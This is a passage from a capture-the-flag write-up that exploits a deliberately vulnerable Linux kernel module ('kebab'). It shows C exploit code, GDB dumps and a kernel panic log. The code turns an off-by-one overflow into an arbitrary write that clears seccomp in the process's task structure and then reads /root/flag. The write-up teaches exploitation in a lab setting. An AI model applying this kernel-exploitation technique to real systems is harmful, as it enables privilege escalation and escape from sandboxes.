new_arg.buffer[0x20 - 1] = 0;
printf("size: %ld\nkey: %s\nbuffer: %s\n", new_arg.size, new_arg.key, new_arg.buffer);
// Third allocation: dummy
if ((ret = ioctl_new(&new_arg))) {
puts("[!] Error ioctl_new");
close(fd);
return ret;
}
puts("Fourth allocation => ");
getchar();
memset(buff, 'B', sizeof(buff));
buff[0x20 - 1] = 0;
RC4(buff, new_arg.buffer, sizeof(buff));
// Last allocation: arb-write
if ((ret = ioctl_new(&new_arg))) {
puts("[!] Error ioctl_new");
close(fd);
return ret;
}
puts("Finish => ");
getchar();
close(fd);
return 0;
}
With this code, we can look at GDB step by step:
/home/user # grep kebab /proc/kallsyms
ffffffffc01f9024 r _note_6 [kebab]
ffffffffc01f8000 t kebab_open [kebab]
ffffffffc01f8010 t ioctl_read [kebab]
ffffffffc01faa00 b RC4_key [kebab]
ffffffffc01fab40 b n_buffs [kebab]
ffffffffc01fab60 b sec_buffs [kebab]
ffffffffc01f8240 t kebab_release [kebab]
ffffffffc01f8bba t rc4_init.cold [kebab]
ffffffffc01f8be0 t RC4.cold [kebab]
ffffffffc01f91a8 r __func__.0 [kebab]
ffffffffc01f91a0 r __func__.1 [kebab]
ffffffffc01f8490 t ioctl_new [kebab]
ffffffffc01f8a90 t kebab_ioctl [kebab]
ffffffffc01fab20 b kebab_mutex [kebab]
ffffffffc01f8bf8 t kebab_ioctl.cold [kebab]
ffffffffc01faa00 b __key.2 [kebab]
ffffffffc01fa600 d kebab_device [kebab]
ffffffffc01f8c0c t kebab_exit [kebab]
ffffffffc01f91c0 r kebab_fops [kebab]
ffffffffc01fa680 d __this_module [kebab]
ffffffffc01f8250 t rc4_init [kebab]
ffffffffc01f8c0c t cleanup_module [kebab]
ffffffffc01f83f0 t RC4 [kebab]
ffffffffc01f8370 t rc4_crypt [kebab]
/home/user # ./exploit
[*] Opened device
pid: 125
cur: 0xffff89c83df8c140
max_len: 256
First allocation =>
size: 32
key: 8pbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Now, we can verify that we have overflowed the adjacent chunk with 0x80
when exploiting the off-by-one:
gef> x/4gx 0xffffffffc0059b60
0xffffffffc0059b60: 0xffff99fd3df71910 0x0000000000000000
0xffffffffc0059b70: 0x0000000000000000 0x0000000000000000
gef> x/2gx 0xffff99fd3df71910
0xffff99fd3df71910: 0xffff99fd3d61e160 0x0000000000000020
gef> x/12gx 0xffff99fd3d61e160
0xffff99fd3d61e160: 0x0b47361df040c0b4 0x9028a4e7476d623a
0xffff99fd3d61e170: 0x0c7e3de44d34c189 0xc3e8867a9362350c
0xffff99fd3d61e180: 0xffff99fd3d61e180 0xffff99fd3d61e1a0
0xffff99fd3d61e190: 0xffffffff9e09b4e1 0x0000000000000000
0xffff99fd3d61e1a0: 0xffff99fd3d61e1c0 0xffff99fd3d61e1c0
0xffff99fd3d61e1b0: 0xffffffff9e09b48e 0x0000000000000000
And so it is. In the following allocation, we need to put the address in which we want to write at the end of the exploit:
Second allocation =>
40c1f83dc889ffff414141414141414141414141414141414141414141414100
And here we have it, the address of current
(0xffff89c83df8c140
):
gef> x/12gx 0xffff89c83d627160
0xffff89c83d627160: 0x0b47361df040c0b4 0x9028a4e7476d623a
0xffff89c83d627170: 0x0c7e3de44d34c189 0xc3e8867a9362350c
0xffff89c83d627180: 0xffff89c83df8c140 0x4141414141414141
0xffff89c83d627190: 0x4141414141414141 0x0041414141414141
0xffff89c83d6271a0: 0xffff89c83d627180 0xffff89c83d6271c0
0xffff89c83d6271b0: 0xffffffffb5c9b48e 0x0000000000000000
The third allocation does not contain relevant information, and in the fourth allocation we will be writing at current
(32 characters B
). This is why we receive a kernel panic:
Third allocation =>
size: 32
key: 8pbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Fourth allocation =>
[ 30.318911] general protection fault: 0000 [#1] SMP PTI
[ 30.320131] CPU: 0 PID: 125 Comm: exploit Tainted: G OE 4.19.1
[ 30.320469] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel4
[ 30.321514] RIP: 0010:cpuacct_charge+0x1c/0x60
[ 30.321918] Code: 8e 66 66 2e 0f 1f 84 00 00 00 00 00 66 90 0f 1f 44 00 00 8
[ 30.322905] RSP: 0018:ffff89c83e803da0 EFLAGS: 00000046
[ 30.323159] RAX: 0042424242424242 RBX: ffff89c83df8c1c0 RCX: 000000000000000
[ 30.323524] RDX: 000000004e8ce17e RSI: 00000000003d4daf RDI: ffff89c83df8c10
[ 30.323872] RBP: ffff89c83e803da0 R08: 000000070f1a1948 R09: 000000000000000
[ 30.324145] R10: 0000000000000000 R11: 0000000000000000 R12: ffff89c83d5b080
[ 30.324492] R13: 00000000003d4daf R14: 000000004aa4a868 R15: ffff89c83df8c10
[ 30.324949] FS: 0000000000408cb8(0000) GS:ffff89c83e800000(0000) knlGS:0000
[ 30.325284] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 30.325499] CR2: 0000000000406000 CR3: 000000003d690000 CR4: 000000000030060
[ 30.326046] Call Trace:
[ 30.326741] <IRQ>
[ 30.327218] ? show_regs.cold+0x1a/0x1f
[ 30.327382] ? __die.cold+0x60/0xa9
[ 30.327576] ? die+0x30/0x50
[ 30.327733] ? do_general_protection+0xa2/0x180
[ 30.327986] ? general_protection+0x1e/0x30
[ 30.328245] ? cpuacct_charge+0x1c/0x60
[ 30.328482] update_curr+0xee/0x200
[ 30.328921] task_tick_fair+0xe1/0x7f0
[ 30.329130] ? sched_clock+0x9/0x10
[ 30.329297] scheduler_tick+0x96/0x110
[ 30.329498] update_process_times+0x43/0x60
[ 30.329748] tick_sched_handle+0x29/0x60
[ 30.329984] tick_sched_timer+0x5a/0xd0
[ 30.330191] __hrtimer_run_queues+0x10d/0x260
[ 30.330433] ? tick_do_update_jiffies64.part.0+0x110/0x110
[ 30.330794] hrtimer_interrupt+0xfe/0x2b0
[ 30.331035] smp_apic_timer_interrupt+0x73/0x140
[ 30.331275] apic_timer_interrupt+0xf/0x20
[ 30.331765] </IRQ>
[ 30.332003] Modules linked in: kebab(OE)
To fix this, we can start writing 16 bytes from behind, and so we only touch 16 bytes of the current
structure (we will set them to zero to disable seccomp
rules).
Final exploit
Once this is fixed, we can transform the testing exploit to the format that the challenge requires (library with a function exploit
that receives fd
as a parameter, the file descriptor of the device). In addition, we can remove some of the calls to puts
and printf
so that the resulting binary is smaller:
void exploit(int fd) {
char buff[0x20];
char flag[256];
FILE* fp;
memset(RC4_key, 'A', MAX_RC4_LEN);
RC4_key[0] = '8';
RC4_key[1] = 'p';
RC4_key[2] = 'b';
RC4_key[255] = '\0';
struct key_info ki;
if (ioctl_set_key(fd, &ki)) {
close(fd);
return;
}
memset(buff, 'A', sizeof(buff));
buff[sizeof(buff) - 1] = 0;
struct new_secbuff_arg new_arg = { .size = sizeof(buff), .buffer = buff };
strncpy(new_arg.key, RC4_key, MAX_RC4_LEN);
// First allocation: trigger off-by-one
if (ioctl_new(fd, &new_arg)) {
close(fd);
return;
}
((unsigned long*) buff)[0] = ((unsigned long) ki.cur) - 16;
RC4(buff, new_arg.buffer, sizeof(buff));
// Second allocation: set target address for arb-write
if (ioctl_new(fd, &new_arg)) {
close(fd);
return;
}
memset(new_arg.buffer, 'A', sizeof(buff));
new_arg.buffer[sizeof(buff) - 1] = 0;
// Third allocation: dummy
if (ioctl_new(fd, &new_arg)) {
close(fd);
return;
}
memset(buff, 0, sizeof(buff));
RC4(buff, new_arg.buffer, sizeof(buff));
// Last allocation: arb-write
if (ioctl_new(fd, &new_arg)) {
close(fd);
return;
}
close(fd);
if ((fp = fopen("/root/flag", "r")) == NULL) {
return;
}
fgets(flag, sizeof(flag), fp);
fclose(fp);
puts(flag);
}
As can be seen, after using the arbitrary write primitive on the current
structure, we can read the /root/flag
file, since the field that indicates whether seccomp
is activated has been set to zero.
Flag
With this exploit we can get the flag:
____ __ ____ _
/ ___| __ _ / _| ___ / ___|_ _ __ _ _ __ __| |
\___ \ / _` | |_ / _ \ | _| | | |/ _` | '__/ _` |
___) | (_| | _| __/ |_| | |_| | (_| | | | (_| |
|____/ \__,_|_| \___|\____|\__,_|\__,_|_| \__,_|
----------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
----------------------------------------------------
/home/user $ /chall/run
flag{fake_flag}
The full exploit can be found in here: exploit.c
.